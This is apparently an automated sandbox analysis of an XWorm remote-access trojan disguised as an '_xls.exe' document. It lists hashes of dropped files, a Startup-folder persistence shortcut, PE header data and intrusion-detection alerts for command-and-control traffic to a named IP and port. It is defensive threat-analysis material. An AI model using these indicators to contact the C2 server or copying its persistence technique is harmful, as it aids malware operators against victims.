SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp743.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7C93.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7CA4.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7CB5.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7CC5.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	modified
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpA7EC.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Sep 26 10:26:13 2024, mtime=Thu Sep 26 10:26:13 2024, atime=Thu Sep 26 10:26:13 2024, length=65440, window=hide
Category:	dropped
Size (bytes):	764
Entropy (8bit):	5.026075316030624
Encrypted:	false
SSDEEP:	12:8gc24qvBSWCwdY//b/QfJLHHVjAs1rHk7zvVoVoBmV:8gmqvBNj+TQtnhAs1YnvSGBm
MD5:	F5F4A0B8619BE64851C649E0ADE69882
SHA1:	403C5AB7043DAE11C27646C8A30984B4C524BEB8
SHA-256:	107A3CC92165C71DBA5F42B8CE96EEB8E32CE974DC3D5E63564348E7031380FB
SHA-512:	97D5344786F366D144266FCDEB80B2E9C83901FF9227E54BB1C874A9520578ACAB3E26A12E7537B7ABEB0EBB9ECD7220C5F3E6ECD92428E6A8DF4532D868F059
Malicious:	false
Preview:	L..................F.... ...[.6.....[.6.....[.6.............................v.:..DG..Yr?.D..U..k0.&...&......vk.v.....t.....i.=.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^:YC[...........................%..A.p.p.D.a.t.a...B.V.1.....:YA[..Roaming.@......CW.^:YA[..............................R.o.a.m.i.n.g.....b.2.....:YG[ .XClient.exe.H......:YG[:YG[..............................X.C.l.i.e.n.t...e.x.e.......Y...............-.......X...........(.&*.....C:\Users\user\AppData\Roaming\XClient.exe........\.....\.....\.....\.....\.X.C.l.i.e.n.t...e.x.e.`.......X.......928100...........hT..CrF.f4... .g.T..b...,.......hT..CrF.f4... .g.T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\XClient.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65440
Entropy (8bit):	6.049806962480652
Encrypted:	false
SSDEEP:	768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
MD5:	0D5DF43AF2916F47D00C1573797C1A13
SHA1:	230AB5559E806574D26B4C20847C368ED55483B0
SHA-256:	C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
SHA-512:	F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: lchs.exe, Detection: malicious, Browse Filename: Shipping Documemt.vbs, Detection: malicious, Browse Filename: AaK2FmzNcl.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.33686.11630.12129.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen29.33686.11630.12129.exe, Detection: malicious, Browse Filename: pic4.jpg.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lgnasdfnds.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rhTHyegj6G.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466325816864925
Encrypted:	false
SSDEEP:	6144:oIXfpi67eLPU9skLmb0b4zWSPKaJG8nAgejZMMhA2gX4WABl0uNmdwBCswSb+:9XD94zWlLZMM6YFH8++
MD5:	A55A2F63E9052A80B2F5E027DB810BEF
SHA1:	2D18D4AE008E2D7F3EBC4645CCAA957D575CEF27
SHA-256:	7929FAF156512156518E9D366BE3A3CE9D529394165CB63203C34DF2DDE99F4E
SHA-512:	320ACE80A2A493F4FFD877D9DD11ADCF0750DD76DDBB1CA96B2A2B5BD46B9532E50B2452DA5FEF70784B499E44017A7D38A58C96CBB9160BA055EA9B68A38205
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>....................................................................................................................................................................................................................................................................................................................................................v.!........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.039108263599789
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	rDoc5633276235623657_xls.exe
File size:	86'528 bytes
MD5:	d5489da5aa14ed9d71d8338ec41a1bc1
SHA1:	fe04a678f7d95ed31bd364e0a8a4831964f2b84f
SHA256:	96dea95151b45309d8bda1112f842802e852a15ac2173b0023b1ba35deae5ec1
SHA512:	68ae7b3c2367f9a2124dba4549ee90dede2fd12552acb7823eae42ffa014e7f4b37cb95b836d01de1270cbc3a48d2903988dc69d1f4f7646d39a9d0b7c77a940
SSDEEP:	1536:WGOLl+jxSwe51ZMXEw1PfEeRH0bndlu630VDx:WGOBCtE1ZpwJbSndTEVDx
TLSH:	1783190A3AC5C705D4E4BAF981F7591207A2BDD22231C24A6DF83B694E737A3ECC165D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R................................... ........@.. ....................................`................................

File Icon


Icon Hash:	8f82989919951d01

Static PE Info

General

Entrypoint:	0x40e48e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x9DC1522E [Fri Nov 14 00:19:58 2053 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe440	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0x83e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe3f9	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc494	0xc600	0d9ab5613134951677488bb33edd1c38	False	0.5494199810606061	data	6.163625280817071	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x10000	0x1e8	0x200	ba1a51c546597b8fdcb7d0154e4ab651	False	0.857421875	data	6.638446248926509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x12000	0x83e8	0x8400	37bfb2adf08a7790d9ce6bdcc9f0ae0c	False	0.2878196022727273	data	5.210626337188779	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	14c39fe502ac72bf25ccb283ba4a5b26	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x121c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.5487588652482269
RT_ICON	0x12628	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.37922138836772984
RT_ICON	0x136d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.28060165975103735
RT_ICON	0x15c78	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.25614076523382145
RT_GROUP_ICON	0x19ea0	0x3e	data	0.7903225806451613
RT_VERSION	0x19ee0	0x31c	data	0.42839195979899497
RT_MANIFEST	0x1a1fc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T13:26:25.809760+0200	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:26:26.063538+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:26.102394+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:26:26.208741+0200	2853192	ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:26:27.711240+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:27.711240+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:27.904405+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:27.904405+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:27.932266+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:27.932266+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.041739+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.041739+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.151091+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.151091+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.260478+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.260478+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.382753+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.382753+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.495593+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.495593+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.605361+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.605361+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.730651+0200	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:28.730651+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49737	178.215.236.218	16433	TCP
2024-09-26T13:26:36.919201+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:36.921165+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:26:42.669326+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:42.669326+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:47.301601+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:47.304152+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:26:57.820236+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:26:57.825196+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:08.430346+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:08.437665+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:12.607434+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:12.607434+0200	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:19.155830+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:19.157555+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:23.086278+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:23.088880+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:23.398379+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:23.400282+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:23.853689+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:23.856833+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:23.952814+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:23.955308+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:24.050877+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:24.053253+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP
2024-09-26T13:27:34.538831+0200	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	178.215.236.218	16433	192.168.2.4	49731	TCP
2024-09-26T13:27:34.540801+0200	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49731	178.215.236.218	16433	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 13:26:09.451642990 CEST	49730	443	192.168.2.4	162.159.135.233
Sep 26, 2024 13:26:09.451684952 CEST	443	49730	162.159.135.233	192.168.2.4
Sep 26, 2024 13:26:09.451761961 CEST	49730	443	192.168.2.4	162.159.135.233
Sep 26, 2024 13:26:09.460674047 CEST	49730	443	192.168.2.4	162.159.135.233
Sep 26, 2024 13:26:09.460692883 CEST	443	49730	162.159.135.233	192.168.2.4
Sep 26, 2024 13:26:10.229362011 CEST	443	49730	162.159.135.233	192.168.2.4
